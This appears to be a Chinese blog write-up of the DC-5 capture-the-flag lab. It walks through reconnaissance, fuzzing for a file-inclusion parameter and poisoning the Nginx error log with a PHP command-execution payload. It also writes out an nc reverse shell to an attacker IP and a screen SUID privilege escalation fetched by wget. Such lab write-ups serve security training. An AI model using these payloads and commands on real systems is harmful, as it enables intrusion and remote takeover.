DC-5靶场下载及渗透实战详细过程(DC靶场系列)

目录

一. 信息收集

1. 主机扫描

2. 端口扫描

3. 目录扫描

4. 页面信息探测

二. 渗透过程

1. 寻找包含文件的参数

2. Nginx日志文件包含

3. 反弹shell 

4. Linux提权

5. 找查flag

三. 收获总结

1. Nginx日志包含

2. 值得注意的事项


DC-5靶场下载地址https://www.five86.com/downloads/DC-5.zip

一. 信息收集

1. 主机扫描

2. 端口扫描

3. 目录扫描

扫描出了一个特别的

4. 页面信息探测

主页面没发现有啥,只知道用的中间件为Nginx

而这个页面,每次刷新版权标识年份都会随机变化

 这个页面也是随机变化,出现这种情况,可能是因为传参为空而默认包涵了本地下的footer.php文件,所以考虑到本地文件包含漏洞,当然也可能只是PHP脚本随机的结果


二. 渗透过程

1. 寻找包含文件的参数

为了验证文件包含的猜想,这里利用burpsuite爆破配合参数fuzz拆解

fuzz连接,https://github.com/TheKingOfDuck/fuzzDicts

我这边也上传在csdn了,0积分免费下载

web渗透通用fuzz字典(小而精)-网络安全文档类资源-CSDN文库

burpsuite抓包

设置好Positions爆破参数

加载刚才下载的参数fuzz,开始爆破

爆破得到file参数

2. Nginx日志文件包含

先查看一下Nginx的配置,构造payload

http://ip/thankyou.php?file=/etc/nginx/nginx.conf

开启了访问日志(access_log)和错误日志(error_log),这里我们看一下错误日志

http://ip/thankyou.php?file=/var/log/nginx/error.log

 得到了thankyou.php的目录,不难发现,传参错误的时候,会自动记录URL还有referer头在错误日志里,构造payload

/thankyou.php?mumua=<?php system($_GET[1])?>

这里记得用burpsuite重复器抓包发送,用浏览器传参会自动将<>转换成URL编码导致php执行失败

接着尝试一下命令执行

/thankyou.php?file=/var/log/nginx/error.log&1=whoami

任意命令执行成功!!!

3. 反弹shell 

构造payload

/thankyou.php?file=/var/log/nginx/error.log&1=nc -e /bin/bash 192.168.120.129 6666

反弹shell成功,升级为交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

4. Linux提权

find / -perm -4000 -print 2>/dev/null

可以看到有两个特殊的命令,exim之前在DC-4的时候试过了,不能完全得到root权限,这里用screen作为突破口,用searchsploit工具搜索一下漏洞

searchsploit screen 4

将文件复制到桌面

cp  /usr/share/exploitdb/exploits/linux/local/41154.sh /root/桌面/exp.sh

开启http服务

python -m http.server 8888

接下来,我们以文本的形式打开exp.sh文件(因为靶机没有对应的命令,只能手工提取命令了)

根据提示,在桌面创建两个c文件

保存之后,在桌面打开终端,用gcc编译c文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

编译完后,再将这两个c文件删掉,文本让我们用rm命令,我们也可以自己删,接着我们修改exp.sh文件内容

将1到36行的内容全部删除并保存,留下cd /etc后面的命令,接着在/tmp目录下,下载这三个文件

cd /tmp

wget 192.168.120.129:8888/exp.sh

wget 192.168.120.129:8888/libhax.so

wget 192.168.120.129:8888/rootshell

文件下载完后,赋予exp文件权限并执行exp.sh

chmod 777 exp.sh

./exp.sh

提权成功

5. 找查flag

find / -name *flag.*

tac /root/this*

通过成功!!!


三. 收获总结

1. Nginx日志包含

①先查看配置文件,查看开启的日志

/etc/nginx/nginx.conf

②错误日志跟访问日志目录

/var/log/nginx/access.log
#访问日志
/var/log/nginx/error.log
#错误日志

③通过分析日志,包含木马

记得一定要用burpsuite进行测试,用浏览器会导致大于小于号被URL编码而无法正确识别PHP

2. 值得注意的事项

当目标靶机没有相关的命令时,可以自己分析sh文件,现在kali上完成一些重要的操作,然后手工提权

  • 7
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值